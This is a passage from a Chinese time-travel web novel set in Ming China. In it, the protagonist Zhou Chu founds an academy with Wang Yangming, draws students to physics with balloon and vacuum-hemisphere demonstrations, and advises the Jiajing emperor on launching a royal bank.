“在下和阳明先生倒是相识,如此说来,倒也巧了。” 周楚笑道。 “你认识阳明先生?” 赵贞吉满脸不信道。 赵贞吉的偶像就是王阳明,他的师公。 “这是沈纯甫,论起来你得叫他一声师叔。” 周楚指了指旁边的沈炼道。 赵贞吉听到这话,看了一眼人高马大的沈炼,顿感心惊。 沈炼的名号他听自己的老师说过,王艮还特意吩咐他,如果见了沈炼,一定不能失了礼仪,毕竟辈分在这里摆着呢。 “赵贞吉见过师叔。” 赵贞吉恭敬行礼道。 沈炼也没想到在这里能遇到自己的师侄,对于王艮这个师兄,他是没见过的,却是听老师王阳明提起过。 “不必多礼,先见过周大人吧。” 沈炼说道。 “周大人?” 听到这话,赵贞吉和胡宗宪都有些疑惑。 赵贞吉也只是知道自己有这么一个小师叔,却不知道沈炼早已进了锦衣卫。 “这位是锦衣卫指挥使,周衡器周大人。” 沈炼介绍道。 这话自然是得到了周楚的首肯之后才说的,否则沈炼又怎么敢轻易透露周楚的身份。 胡宗宪两人听到这话,顿时大惊,急忙躬身行礼。 “学生见过周大人。” 第217章 再见王阳明,格物学的发扬 周楚远远看着书院,觉得很是满意,书院建在余姚的四明山上,占地面积很大。 四明山海拔不算很高,平均海拔七八百米,但环境相当的好,林深茂密,青山碧水,氧气充足,让人身处其中倍感心旷神怡。 “阳明先生,苏州一别,已经大半年了,不知阳明先生进来可好?” 周楚在书院中见到了王阳明,此时的王阳明和之前相比并没有太大的变化,没有像一般的官员一般,一旦失去权利,就瞬间苍老,如今的王阳明身穿一身青色袍服,眉宇之间多了一丝淡然。 “确实很久没见了,衡器。” 王阳明笑道。 跟在周楚身边的胡宗宪等人,大气都不敢出,特别是赵贞吉,对他而言,王阳明对他的压迫感可比周楚要强不少,毕竟王阳明可是他老师的老师,单单是辈分就让他不敢多言。 “这位和阳明先生还有些渊源,他是心斋先生的学生。” 周楚笑道。 王阳明听到这话,看向赵贞吉。 “汝止来信和我提过你,说你自幼早慧,心有丘壑。” 王阳明说道。 赵贞吉听到这话,顿感受宠若惊。 “那都是老师谬赞,学生在您面前不值一提。” 赵贞吉脸红道。 “衡器,这学院就是按你的要求建的,你看看如何?是否满意?” 王阳明指了指学院周围的布置,说道。 建设学院的经费,是当初周楚从江南那一批批抄家抄出来的钱财中调拨了一些,足够建设了。 胡宗宪和赵贞吉听到这话,大感意外,他们怎么都没想到这个书院居然是眼前这个看上去比自己大不了几岁的年轻人建设的。 而且听阳明先生话里话外的意思,这个书院似乎还以这位周大人为主。 胡宗宪和赵贞吉也是只偶尔听说过这位锦衣卫指挥使,对于周楚做了什么事,其实他们是不太清楚的。 只知道这位锦衣卫指挥使很不一般,很多官员都被他查办了。 “这书院建的极好,地点选的也好。” 周楚满意道。 “能让你满意,可不是件容易的事。” 王阳明摇头笑道。 “纯甫,又长高了许多。” 王阳明看着沈炼,对沈炼这个弟子,他是最满意的,因为沈炼不止跟着他学了心学,还学了他的一身武艺。 沈炼听到这话,有些不好意思的挠了挠头,面对王阳明,他之前的冷峻形象瞬间崩塌,仿佛见到了慈父的孩子一般,有些不好意思。 “这一两年,纯甫全赖衡器培养,才能有如今的成就。” 王阳明喝了口茶道。 “纯甫本身足够优秀,没有我,他也会是一个很好的锦衣卫。” 周楚也给自己倒了一杯茶,说道。 “没有你,他可能会走文官的道路,说不定会蹉跎许久,正所谓读万卷书行万里路,只读书是读不出经世治国的才学的。” 王阳明此时算是彻底看出来了,以沈炼的性子,成为锦衣卫是最好的选择,倘若走科举,以他率直的脾气,恐怕会像聂豹那般,当个县令就到顶了。 “说起来,这书院之中还有个衡器熟识之人。” 想起聂豹,王阳明笑道。 “可是双江先生?” 周楚不确定道。 双江是聂豹的字号,聂豹字文蔚,号双江。 “正是,还真是什么事都瞒不过你们锦衣卫,文蔚一个月之前得知我建了这个书院,就辞官来到了这里,我已将他收入门下。” 王阳明感慨道。 “如此我大明却是少了双江先生这么一个好官。” 周楚有些可惜道。 不过书院之中能多聂豹这么一个好的老师,未尝不是一件好事。 王阳明从怀中拿出一本书,正是当初周楚交给他的那本基础物理。 “这本书我越是看,越觉得奥秘无穷,衡器你可真是大才,这等蕴含至理的格物之书,也能写的出来。” 王阳明感慨道。 “阳明先生谬赞,这些不过是一些最基础的罢了,想要继续研究,把格物学发扬光大,还需要很多人愿意学此门学问。” 周楚说道。 王阳明听到这话,深以为然地点了点头。 “倘若无数学子一起研究这门学问,大明的未来恐怕会发生天翻地覆的变化,只是如今的学子大多学的都是四书五经,对格物学感兴趣的不是没有,但恐怕不多,如何筛选,衡器有没有什么主意?” 王阳明问道。 “这个好办,三天后阳明先生让所有前来求学的学子都在这里齐聚,到时候我自有办法筛选。” 周楚胸有成竹道。 看到周楚这般模样,王阳明顿时放下了心。 周楚到了余姚大半天之后,唐伯虎也到了,从崇明岛坐船到余姚,速度极快,半日就可抵达。 “伯安,你我可是大半年没见了,今日不醉不归。” 唐伯虎看到王阳明之后,很是高兴,年纪大了的人就喜欢伤感,总觉得这些老友见一面少一面,所以格外的珍惜。 “这是自然,今日我做东,不过我尚在丁忧,不宜饮酒,就以茶代酒。” 王阳明说道。 王阳明之所以把学院建在这里,就是因为他爹的坟就在这四明山上。 丁忧期间,按理说他应该守在坟前,现在在这里办书院,倒也合情合理。 “应该的。” 唐伯虎自然知道王阳明在丁忧,不会强求。 见到唐伯虎,胡宗宪和赵贞吉很是兴奋,他们这种少年,对唐伯虎这等放荡不羁的文人一向都很崇拜,如今见到了真人,哪能不激动? 唐伯虎、王阳明和周楚三人饮酒作乐,赵贞吉在一旁小心翼翼地端茶倒水,严世蕃也不得不在旁边帮忙倒酒,宛如一个小厮。 是夜,唐伯虎喝的大醉,周楚也喝的有些微醺,只有王阳明,喝的是茶,倒是没有半分醉意。 “衡器,当年我们把酒言欢,你和我说了许多,如今你也做了许多,这两年真是苦了你了。” 王阳明看着满脸醉意的周楚,叹了口气道。 “阳明先生哪里的话,我这么做,也不过是为了实现自己的价值罢了,人活一世,草木一秋,总得让世人知道我曾经来过。” 周楚最严朦胧道。 “史书上,绝对会有衡器你浓墨重彩的一笔。” 王阳明感慨道。 王阳明说完这话,再去看周楚,发现周楚已经躺在草地上睡着了。 月光照在山顶的草地上,一个酩酊大醉的老头,一个满脸酡红的少年,还有一个仙风道骨的王阳明,这幅画面,分外的和谐。 第218章 周楚的热气球实验和半球实验 前来书院求学的学子很多,海瑞就是其中之一,而且还是其中家世较差的一个。 虽说王阳明对外说的学院不止教儒学,还教其他的,但大多数人,或者说大多数带着自家孩子前来求学的父母,都希望自己的孩子能学圣人之言,将来好通过科举入仕。 王阳明是谁?那可是龙场悟道的存在,在文人之中都快被吹上天了,之前平定宁王叛乱,如今的皇帝登基之后更是青云直上,直接大跨步,最后到了南直隶巡抚。 如果不是王阳明父亲的突然去世,所有人都相信,他的仕途绝不止于此,和仕途相比,这位阳明先生的才学更是惊人,门下的弟子都是鼎鼎有名的大儒。 这等名师,不设门槛,只看学生资质,对所有人而言都是一个千载难逢的机会。 “诸位,今日把你们叫来,是向大家介绍一下我旁边的这位,这位是锦衣卫指挥使周衡器,也是老朽的忘年交好友,本学院的创立,本是衡器的意思。” 王阳明向一众学子以及学子的父母介绍周楚道。 众人听到这话,看着周楚,感受着这个年轻人身上那自带的上位者气息,眼睛都亮了,他们怎么都没想到这个书院和锦衣卫指挥使这种通天的大人物还有关系。 锦衣卫虽然对百官而言臭名昭著,甚至很多文人也很痛恨,但这不代表这些学子的父母瞧不上锦衣卫,要知道每一个锦衣卫的职务都是极其难得的。 特别是京城的锦衣卫,见官大三级,可以说横着走,锦衣卫之中,也有不少是文官转过去的,为朝廷,为大明都是做了不少事的。 再加上周楚这个锦衣卫指挥使这两年办的一桩桩一件件大事,可能这些人知道的不全,甚至有些只知道一鳞半爪,但这不妨碍他们明白周楚的身份非同一般。 倘若他们的儿子能被这位锦衣卫指挥使看重,进入锦衣卫的系统之中,那也算是一步登天了,要知道就算参加科举,还不知道要考多少年呢,即便千辛万苦考中了进士,还要去翰林院,不知道熬多少年才能往上爬。 甚至大多数都没有进翰林院的资格,直接被外放做官了。 官场波谲云诡,谁都不知道自己什么时候会被算计,锦衣卫则要安全得多,虽说升迁的途径可能不像进士那般多,却也不失为一个好的选择。 “学院之中,不谈官职,只谈学问,今日我叫阳明先生把大家召集在这里,是为了向大家展示本书院的另一门学问,格物之学。” 众人听到这话,顿时议论纷纷,格物之学自古有之,不过是一些数术之类的小道,在他们看来,学这些东西将来或许饿不死,但绝不会有多大的出息。 “这位指挥使大人不知道怎么想的,只教圣人之学不就好了,这格物之学又不能科举。” 其中一个中年男人小声地对身边的同伴道。 “小声点,你不要命了,这位指挥使大人也是你我能够置喙的?” 他的同伴瞪了他一眼,低声道。 那人听到这话,吓得浑身一哆嗦,这才想起周楚这位锦衣卫指挥使是出了名的心狠手辣,被他杀死的官员都不知道有多少了,自己要是得罪了这位.... 他越想越害怕,急忙看了看周围,发现没人注意他,这才松了口气。 实际上和他有着一样想法的不在少数,但大多数人也只敢在心里想想,是无论如何都不敢说出来的,在他们看来,无论这位指挥使大人如何展示,他们的孩子肯定是要学儒学的,儒学才是正统,才能科举入仕。 周楚自然也知道这些人的想法,并没有说什么,而是挥了挥手,让人将这两天用羊皮缝制出来的热气球抬了过来。 这个热气球周楚做的并不是很大,却也足够载一头羊升空了。 第一次热气球实验,周楚并不准备让人直接上,毕竟没有经验,有很多不可控因素。 周楚先让人在热气球的燃烧台上用干草将热气球内迅速充气,等到热气球的气体充满,眼看着就要升空的时候,周楚让人将一头羊放入了热气球下面的篮子之中,随后砍断束缚着热气球的绳子,热气球摇摇晃晃的飘向空中。 下方的众人看到这一幕,纷纷发出惊叹,特别是那些八九岁的孩子,一个个眼睛之中都无比兴奋,有的则是满脸崇拜的看着这一幕。 就连王阳明也有些震惊,他没想到周楚会以这种方式筛选想学格物学的学子,不过转念一想,或许只有这种办法,才能让大家见识到格物学的重要性。 “孔明灯大家都知道,把孔明灯放大,就是这个,我把它命名为热气球,大家都看到了,这还只是最初级的,继续发展下去,可以把人带到空中,这就是格物学的一种运用。” 周楚高声说道。 周楚这话说完,原本对格物学还不怎么感兴趣的那些学子,一个个眼睛之中都充满了求知的眼神。 “热气球只是格物学的一种运用,接下来我将为大家展示格物学的另一种运用。” 周楚说着,让人拿上来两个铜制的半球,半球边上用的是天然橡胶箍了一圈。 这个可不是临时制作的,而是周楚早有预谋,早在之前在苏州府的时候,周楚就让那些南镇抚司的工匠顺带打造了这两个半球,半球好做,但天然橡胶却是很难搞。 这个时候安南乃至整个东南亚都还没有橡胶树,想要天然橡胶,必须去更远的马来等地区去找。 为此周楚还特意让玄武军派出一艘船,走了一趟马来群岛,从当地土著手中弄到了不少橡胶,还特意引进了橡胶树到安南等地区种植。 除了这两个半球之外,周楚还让南镇抚司的工匠按照他的要求用铜打造了一个铜制的注射器,用来从这两个半球之中抽水。 周楚让人将这两个半球都灌满了水,然后对齐密封,其中一个半球之中留了出水孔,不过是用橡胶包裹的铜锥子塞住的,周楚用注射器将半球之中的水通过空洞全部抽出来之后,再次锥子塞住。 此时那些学子都看得一头雾水,不只是他们,就连王阳明都有些看不懂周楚要做什么了。 此时锦衣卫在周楚的指挥下,牵来了十几匹马,先是在两个半球上面每边拴上两匹马。 “诸位,看好了。” 周楚说完这话,抽动手中的鞭子,四匹马瞬间发动,想要往前奔跑,但两边的力道抵消,又都跑不动。 而那两个合上的半球在中间却是纹丝不动,一点都没有被拽开的意思。 看到这一幕,王阳明脑中灵光一闪,顿时明白了周楚做的是什么,应该就是那本书之中提到的大气压强。 当初看到这一块的时候,王阳明还有些不理解,觉得很是深奥,空气之中怎么会有压力呢?现在一看,让他顿觉恍然,有种醍醐灌顶的感觉。 而其他人看着这一幕,则是目瞪口呆,他们怎么都没想到,仅仅是两个合在一起的铜球,同时用四匹马拉都拉不开,这也太夸张了,完全超出了他们的认知。 周楚又让人将两边的马从两匹加到四匹,如法炮制,两个半球合在一起仍然纹丝不动。 这一下连王阳明都有些傻眼了,他怎么都没想到所谓的大气压强居然如此可怕。 那些学子和他们的父母看的直接麻木了,他们虽然不懂其中的原理,却觉得这等奇观简直闻所未闻,见所未见。 最终,周楚让人将两边的马都加到了八匹,挥动马鞭,两边的马用尽了全力。 嘭! 一声巨响,两个半球终于被拉开了,而那些马都因为瞬间的失力,翻倒在地。 “这叫空气压力,也叫空气压强,也是格物学的一种运用。” 周楚看着那些眼神放光的学子,笑道。 第219章 嘉靖筹备皇家钱庄,海瑞的选择 随着王直的一艘艘运银船抵达天津码头,无数银锭,甚至银冬瓜都被打造了出来。 天津的炼银所每日出产的白银量是极其恐怖的,这些白银经过王直的人的初步熔炼,炼银所的银匠只需要进一步熔炼就可以了。 自从去年的时候,周楚不断地从江南通过水路运送钱财前往天津码头,天津逐渐被嘉靖的人掌控,甚至到现在,整个天津,已经没了其他势力的官员,都是妥妥的帝党。 天津作为京城旁边的水利枢纽,其重要程度可想而知,外地的任何东西想要走水路到京城,都要经过天津。 如今的天津码头和炼银所,那更是被锦衣卫盯的密不透风,任何人许进不许出,炼银所的那些个银匠,每个月的俸禄都很高,也都会给他们的妻儿老小,但短时间内想离开炼银所,那是不可能的。 甚至整个炼银所的建立都是在极度保密之中进行的,目前知道炼银所存在的,只有周楚陆炳黄锦等人,包括驻守炼银所的这些锦衣卫。 随着源源不断的白银炼制出来,嘉靖的心思顿时活络了起来,之前周楚给他制定的皇家钱庄的事,嘉靖觉得可以提上日程了。 原本对开钱庄嘉靖还没有多少想法,毕竟在他看来,钱庄不过是为了方便那些商人行商罢了,收取一定的费用,但经过周楚的提点,嘉靖才清楚的意识到这其中有多么大的利润。 嘉靖此时还记得当初周楚的话,周楚说倘若钱庄之中有别人存进来的一千万两白银,这一千万两白银完全可以以很低的利息拿出去放贷。 而放出去的贷款给的也不是真金白银,只是钱庄的银票,这一千万两白银还在钱庄之中,于是这一千万两白银可以继续贷给第二家,第三家甚至第四家。 不过最多也就能贷给五六家,这些人贷款肯定是要用钱的,大部分是用银票交易,但也不排除他们会通兑白银的可能。 一批白银贷给太多家,风险太大,很容易崩溃,五六家刚刚好。 五六家的利息加起来,是极为可观的,而且这纯属借鸡生蛋,钱是别人存进来的,别人存的越多,都放出去做贷款的话,利息也就越恐怖。 甚至周楚还提出,那些存进皇家钱庄的钱的人,可以收他们任何手续费,甚至可以给极低的利息,如此一来,就可以把其他钱庄都挤倒。 当时嘉靖听到这段话的时候,拍案叫绝。 有时候嘉靖真想知道周衡器的脑子是用什么做的,为何这么厉害,很多事都懂,而且还不是一知半解的懂。 想到就做,嘉靖开始让人在大明各地开始选定钱庄开设的地址,为开皇家钱庄做准备。 同时天津炼银所炼出来的白银和银冬瓜,被不知不觉运往大明各地。 银冬瓜是那些士绅和富商最喜欢的东西,他们一旦赚了钱,就会把白银融了铸成银冬瓜,埋在地下藏起来,这个习惯主要源于前元。 元朝的时候,因为是包税制,收税的权利在汉人士绅手上,于是他们收的商业税很高,最夸张的时候甚至高达五成左右的商业税。 那些富户为了避税逃税,纷纷将赚到的白银融成银冬瓜,埋在自家地下,如此一来,自然就查不到他们的财产了,商业税也就不用交了。 实际上前元商业税虽然收的很高,却是和大明差不多,完全收不上来,即便大明的商业税只有三十税一。 不过时过境迁,现在很多富户为了生意的运转,都会把埋藏的银冬瓜挖出来存进钱庄之中。 那些江南商人和晋商开的钱庄,每个钱庄都有不少银冬瓜镇着,如此一来才有底气,不怕有人突然大量通兑。 一旦有人大量通兑,钱庄兑不上来,那么钱庄的信用自然也就破产了,毕竟钱庄靠的就是信用,信用一旦破产,钱庄也就开不下去了。 嘉靖很清楚,皇家钱庄一旦开起来,无论是江南的商人亦或是那些山西的商人都不会坐视皇家钱庄做大。 一旦皇家钱庄做大,哪里还有他们生存的余地? 皇家钱庄一旦开张,势必会有无数富户前往各地的皇家钱庄通兑,为的就是让皇家钱庄信用破产。 这也是嘉靖虽然对皇家钱庄很动心,却一直忍着没去开设的根本原因。 虽然周楚抄家抄出了大量白银,但放在整个大明各地,却还是不够的,一旦被大量通兑,恐怕还真未必够用。 比如一个富商在江南存了五百万两白银,转头去江西的一个皇家钱庄通兑这五百万两,甚至可能是任何一家皇家钱庄要求通兑。 这就要求每一家皇家钱庄都要有足够多的白银储备,才能应付突如其来的通兑。 另外一边,那些学子看完了周楚做的这两个实验,眼睛都直了,原本他们大多数人对格物学是毫无概念的,他们印象之中的格物学不过是一些数术罢了。 也有人专门研究数术,但那毕竟是少数,数术研究了又能如何?给人做账房?还是当个丈量土地的胥吏? 无论是大明还是历朝历代,自科举以来,读书人读书的第一目标永远是科举,和科举相比,其他的都显得那么的不重要。 万般皆下品惟有读书高,便是这些读书人自我吹捧的一句话。 但此时很多学子却看到了不一样的东西,格物学居然如此神奇?能让羊飞上天,能让两个铜半球合在一起后十几匹马才勉强拉开。 这其中似乎涉及到了天地之间的奥秘,蕴含了天地之间的至理。 一时之间,无数学子都对格物学产生了浓厚的兴趣,但这兴趣很快都被他们父母给打消了。 “学这个有什么用?我告诉你,老子让你来是让你学圣人之学的,只有学了圣人之学,才能科举入仕,将来才能光耀门楣,这个什么格物学,能让你做大官吗?” 一个中年男人此时也顾不得得罪周楚了,他看到了自己儿子那满脸兴奋的神情,顿时明白此时如果不打消他的这个想法的话,将来自己的儿子科举无望。 这可不是他想看到的。 一个个学子在父母的劝说下,眼神之中对格物学充满兴奋地眼光又都黯淡了下去。 对于这种现象,周楚并没有阻止,也没有说什么学格物学将来也可以入仕这种话。 周楚很清楚,倘若学格物学是为了当官的话,那绝对是学不好的,一定是要对格物学充满了兴致,充满了探索之心,将来才能将格物学发扬光大。 那些在父母的打击之下仍然能坚持选择格物学的,才是周楚想要的。 “大人,这格物之学才是经世之学,学生海瑞想学格物学。” 海瑞神情坚毅道。 第220章 格物院的书,韩玠和杨慎的想法 如今才八岁的海瑞只身一人上路,从海南来到这里,仅此一点,非心性坚毅之辈做不到。 海瑞,一个天生性格极其坚毅之人。 周楚没想到海瑞也来了这里,倒是有些意外,毕竟海南离这里实在是远了些,周楚很清楚,以海瑞的家境,想来是没人和他一起同行的,一个八九岁的孩子,长途跋涉近四千里,虽然多半是水路,却也不是一般人能做到的。 原本历史上的海瑞,可谓是真正忠臣良臣,清官的代表,集大成者,要能力有能力,想办的事多半都能办成,无论面对何种阻力。 海瑞的仕途可谓是一帆风顺,原本只是举人出身的海瑞,从地方上就被他的上官赏识,一路提拔,最后更是做到了封疆大吏。 海瑞这种人,纯靠个人能力杀出来的一条血路。 于百姓而言,更需要海瑞这种官员,于大明而言,也需要海瑞这种官员。 但像海瑞这种官员,注定不会太多,海瑞就像是一把神剑,一旦被皇帝拿着,将无往不利。 即便如徐阶这种,掌握着整个松江府,最后还是被海瑞以一己之力清算了,这件事以当时的情况而言,换成任何一个人,恐怕都办不成,能办成此事的也只有海瑞了。 “学生王孟春,也想学格物之学。” 随着海瑞的出列,一个个对格物学充满兴致的学子纷纷出列。 最后一共有五六十人出列,表示想学格物学,这让周楚很是满意。 不过周楚也清楚,这些人未必真的都适合学习格物学,物理和数学纯看天赋,有天赋和没天赋之人可谓是天差地别。 数学是物理的工具,数学上的天赋差距极大,有天赋的和没天赋的,学起来完全不一样。 周楚很清楚,这五六十人最终可能会有一部分放弃格物学,转学其他的,最终能剩下一半就不错了。 周楚看着眼前的五六十人,点了点头。 “你们随我来吧。” 周楚说完转身向学院的格物院走去,海瑞等人急忙跟上。 至于赵贞吉和胡宗宪,都不在这些人之中,这两人的目标都很明确,科举入仕,自然不会轻易被动摇心神。 至于严世蕃,直接被周楚打发到了水利学院,让他去学地理和水利。 至于严世蕃喜不喜欢,不重要,严世蕃还是很聪明的,只是一直以来都没用在正路上。 周楚倒也不指望严世蕃学出多大本事,只是让他在学院之中磨一磨性子,将来不至于走偏就行了。 “赵兄为何不学格物之学?” 胡宗宪看着赵贞吉问道。 赵贞吉听到这话笑了笑。 “格物之学虽好,却不是我之追求,我看你倒是对格物之学有兴趣,为何不学?” 赵贞吉反问道。 “赵兄说得对,格物之学虽好,却也不是我的追求,我之夙愿,乃是为我大明开疆拓土。” 胡宗宪毕竟是个少年,虽说腹黑了些,但此时谈起这个话题,也是意气风发。 周楚带着海瑞等一众学子来到了格物学院的学堂之中。 “你们先各自找位置坐,回头我再排一下座位。” 周楚随意道。 众人听到这话,纷纷找自己心仪的座位坐了下来。 “我爹是吏部尚书,你凭什么坐这里?” 说话的不是别人,正是吏部尚书韩玠的儿子,韩鸢儿的弟弟韩九旭,是韩玠众多儿子之中的一个。 此时的韩九旭正指着海瑞,想让他让出自己的座位。 周楚听到这话,来到韩九旭跟前,一巴掌打在了他的头上。 “这是学院,不是朝廷,以后但凡谁再提谁爹是什么身份,以身份压人,直接革除出书院,永不录用。” 韩九旭被周楚一巴掌打懵了,不过当他看到打自己的是周楚的时候,吓得缩了缩脖子,再也不敢多说一句话。 开玩笑,别说是他了,就算是他爹能有如今的地位,和眼前的这位锦衣卫指挥使都有着分不开的关系。 韩玠在周楚面前都得态度端正,更不用提韩九旭一个韩家不受宠的儿子了。 韩九旭之所以来这里求学,都是她娘的建议,她娘在韩家也不怎么受宠,让他来这里求学,就是因为韩玠之前提起过,这个学院背后是周楚,而且还有阳明先生这种人。 只要是进了这个学院,成了这两人任何一个人的学生,以后身份都非同一般,不但可以入仕,他们母子两人在韩家的地位都会得到提高。 对于韩九旭来这里求学,韩玠倒是很支持,把韩九旭送到这里,一来是表示对周楚办学院的支持,二来这里有阳明先生。 虽说他不怎么看重韩九旭这个儿子,但正所谓搂草打兔子,万一能学成呢? 韩玠的嫡长子年龄不小了,不适合来书院求学,不然的话韩玠一准将嫡长子送过来,一来可以让嫡长子拜得名师,二来站队很重要。 韩玠很清楚,整个大明朝堂之中,周楚就代表着未来的风向,如今周楚突然办这个学院,韩玠虽然看不懂,却也清楚周楚肯定在谋划着什么。 周楚谋划的事,往往代表着大明未来重大的变革。 韩玠虽然看不明白,但他可以提前下注,实际上和韩玠抱有一样想法的人不在少数。 虽然知道学院和周楚关系的人不多,却也有一些,这些人大多都让自己的儿子前来求学,包括杨慎。 杨慎倒不是奔着投机去的,他只是想让自己的小儿子杨埙前来学院求学,主要是想让杨埙跟着王阳明学知行合一,他自己体会到了知行合一的好处,在心里甚至已经把王阳明视为老师了。 不过杨埙对儒学并不是很感兴趣,反而是对丹青一道兴趣极为浓烈,当他得知学院里教丹青的居然是唐伯虎的时候,顿时两眼放光,一门心思的只想进入丹青学院。 周楚杀鸡儆猴很成功,这一下不只是韩九旭老实了,其他的几个想要以身份压人的学子也瞬间老实了,随便找了个座位坐了下来。 周楚拿出一本本新印刷的基础物理以及基础几何和基数数学,这些都是周楚让人提前准备好的。 这几本书都是前面几年周楚做生意的时候抽空写出来的,为了写这几本书,周楚还查看了很多书籍,包括九章算术等等。 因为周楚毕竟是文科生,对理科方面的也只是懂一些基础的,想要全部想起来那些基础知识,是需要很长时间的,而且还不一定想的全,因此写的时候周楚查阅了大量的书籍,尽量写的全面一些。 很快,每人手上都拿到了这三本书。 海瑞翻开其中的基础物理,瞬间被吸引住了,一时之间竟看的入迷了。 第221章 杨一清的投资,皇家钱庄的声势 杨盛斋是杨一清的孙子,杨一清长子杨质庵一共生了三个儿子,其中杨盛斋是最小的那个。 和他的两个兄长的稳重不同,杨盛斋自幼就有些离经叛道,为此杨质庵没少头疼。 余姚的这个书院,杨一清自然是知道的,作为杨家如今的掌舵人,杨一清虽然和周楚是政敌,但于个人而言,杨一清是很欣赏周楚的,在他看来,像周楚这样的能臣,纵观整个大明,也未见有人能出其右,将来周楚的成就肯定更高。 而杨一清自己则是行将就木,年近古稀的杨一清很清楚自己在这内阁首辅的位置上恐怕是干不了多久了。 对于周楚办的这个书院,杨一清的看法和韩玠类似,虽然他不清楚周楚为何这么做,但他清楚,周楚这么做一定是有原因的,只是现在他还看不清而已。 看不清不重要,让自己的小孙子去学院里求学就可以了,这也算是杨一清对杨家未来的一种投资。 他的仕途已经做到了尽头,想要更近一步,独揽大权,基本已经不可能了,因此最近这些天杨一清无比佛系,只做自己这个职务,这个立场该做的事,有人求上门,就顺手帮一把,为杨家将来铺路。 杨一清的另外两个孙子,杨盛斋的两个兄长一个十七岁,一个十五岁,年龄不太合适不说,这两个的性子在杨一清看来虽然中规中矩,但未来基本是定型的,不会有太大的成就。 反倒是小孙子杨盛斋,虽然做事不着调了些,却胜在头脑灵活,看事通透,杨盛斋对一些事的看法,让杨一清都有种眼前一亮的感觉。 于是杨一清决定将杨盛斋送到学院求学,至于能学到什么,能学会什么,就算看他的造化了。 杨一清能为他的子孙考虑的就这么多了,对于这个小孙子他还是很了解的,如果自己指定让他学什么,恐怕只会起到反效果,既如此,倒不如放养,只要性子不跑偏,离经叛道些倒也不是什么太大的问题。 杨一清虽然年岁大了,但对这个小孙子的包容程度很高,即便是杨一清的儿子杨质庵,看到自己这个小儿子都倍感头疼。 杨盛斋原本就在京城待腻了,在他看来京城极为无趣,那里的人谈论的不是如何读书升官发财,便是诗词歌赋陈词滥调。 杨盛斋觉得用儒家的那些道理去治国本就极为荒谬,那些圣人之言除了劝人之外,哪条指出了具体该如何治国? 杨盛斋也喜欢看书,不过看的却不是那些四书五经,看的多是些杂书,正是因为看了这些书,他愈发觉得让那些读四书五经的文人掌握整个大明是何等的谬误。 四书五经可曾教人如何治理一县之地?可曾教人如何兴修水利,利国利民? 只是他的这些想法对这个时代而言,确实离经叛道了些,他爹就很头疼,也只有杨一清对他很是包容。 杨一清很清楚,如果一个家族的年轻人都是千篇一律的,那这个家族未来没什么前途,纵观历史,往往能带领一个家族走向兴盛的,偏偏是那些异类。 杨盛斋原本对学院的期望并不是很高,他只是想离开京城,去外面看看,转一转,甚至想游历一下大明,看看那些书上记录的光景。 只是当他看到周楚做的热气球实验和半球实验之后,他的想法彻底被改变了。 如果说热气球他还能理解的话,那半球实验彻底颠覆了他的认知,他从未想过两个半球连在一起会产生如此巨大的吸力。 因此当周楚问出那句话的时候,海瑞第一个站了出来,紧跟着他也只是稍作犹豫就选择了格物学。 即便是他爹杨质庵多般阻拦,也没能阻止他的决心。 “爹,爷爷不是说了,让我想学什么便学什么,难道你要忤逆他老人家吗?” 杨盛斋问出这句话的时候,杨质庵彻底说不出话来了。 “儒学有什么意思?儒学能让那头羊飞到天上去吗?” 杨盛斋此时好不容易抓住机会,自然不会轻易放过,继续追问自己的老父亲道。 眼看杨质庵被问的哑口无言,抬手要打自己儿子的时候,杨盛斋直接跑开了。 杨盛斋正式入学之后,杨质庵自然也不会在学院停留,至于和周楚打招呼?开什么玩笑,想让周楚给自己的儿子穿小鞋吗? 当然,杨质庵也没指望自己儿子的身份能瞒得过周楚,周楚是什么人?锦衣卫指挥使,什么人什么身份,没有比锦衣卫更门清的了。 他只是希望周楚不要把目光放在自己儿子身上就行了。 关于这一点,如果杨一清知道他的想法的话,恐怕会骂一句愚不可及。 无论是杨一清还是周楚,在朝中的对立都是身处不同的阵营,如杨一清这种人,亦或是之前致仕的杨廷和,说什么话,做什么事,往往是身不由己。 正所谓屁股决定脑袋,屁股坐在什么位置,就要做什么事,说什么话。 杨一清很清楚,周楚不会因为自己而为难自己的孙子,对于周楚,他还是很了解的,他之前对周楚做过细致的了解,除了不知道周楚的出身以及家人在哪之外,周楚来到京城之后的事,他是一清二楚。 对于周楚做人做事,还有格局,杨一清那是相当欣赏的,能有这样的对手,杨一清也感觉很痛快。 以周楚的能力,将来恐怕是有明一朝数一数二的名臣,自己能和这种人过手,也不负为官一场。 实际上这些想法也是杨一清的无奈感慨罢了,倘若能赢,他又怎么会选择躺平?他会毫不犹豫的将周楚扳倒。 杨盛斋加入格物学院之后,一边学数术,一边学格物之学,周楚亲自教格物学,数术则有其他人来教,大明的数术大家并不在少数,以王阳明的声望,邀请几位数术大家并非难事。 这几位数术大家来到学院之后,看到周楚写的那两本关于数术的书,如获至宝,看的如痴如醉,平时除了上课之外的闲暇时间,都在自己研究这两本书。 对于格物学,杨盛斋越学越觉得其中奥妙无穷,特别是看到周楚给他们又做了几个实验之后,杨盛斋对于自己的选择愈发庆幸。 当他看到周楚拿出一块用玻璃制造的三棱镜将透明的太阳光分解成彩虹的颜色的时候,杨盛斋不可思议的长大了双眼,仿佛看到了神迹一般。 实际上不只是杨盛斋,所有格物学院的学生看到这一幕,都惊为天人。 彩虹他们都见过,只是他们怎么都没想到,彩虹是可以人为制造出来的,当周楚解释了光谱之后,解释彩虹是如何形成的时候,杨盛斋听的如痴如醉。 在他看来,这格物学便是这世间真理,蕴含着世间万物运转的原理。 周楚在学院教学的时候,一封封来自京城的密旨不断地送到周楚面前。 里面都是嘉靖关于皇家钱庄的一些问题,周楚一一解答,让人送回京城。 嘉靖在周楚的指导之下,很快就在大明各地铺设了一个又一个钱庄,并且让当地官府做背书,直接贴告示,让大明百姓都知道皇家钱庄即将开张。 皇家钱庄的出现,让江南的商人以及山西的商人都慌了神。 “皇帝要搞钱庄,诸位有什么看法?” 山西太原,一群商人聚在一起,为首的人面容严肃道。 第222章 皇家钱庄开张,通兑风波 “很简单,对付钱庄最简单,同样是最有效的办法,便是通兑,我们联合起来,把白银都存在皇家钱庄,然后安排人在各地通兑。” 其中一个五十多岁的老头说道。 “没错,通兑,只要皇家钱庄在百姓心中没了信誉,自然开不起来了。” 其他人附和道。 不只是晋商,江南的那些商人也商议决定用这个方法试图挤垮皇家钱庄。 楚辉祖作为如今的江南商会副会长,实际上的掌权人,却是找不出理由反对那些商人这么做,只能先写了一封密信询问周楚的意见,最终得到的回答是让楚辉祖松了口气。 很快,大明各地一家家皇家钱庄正式开张。 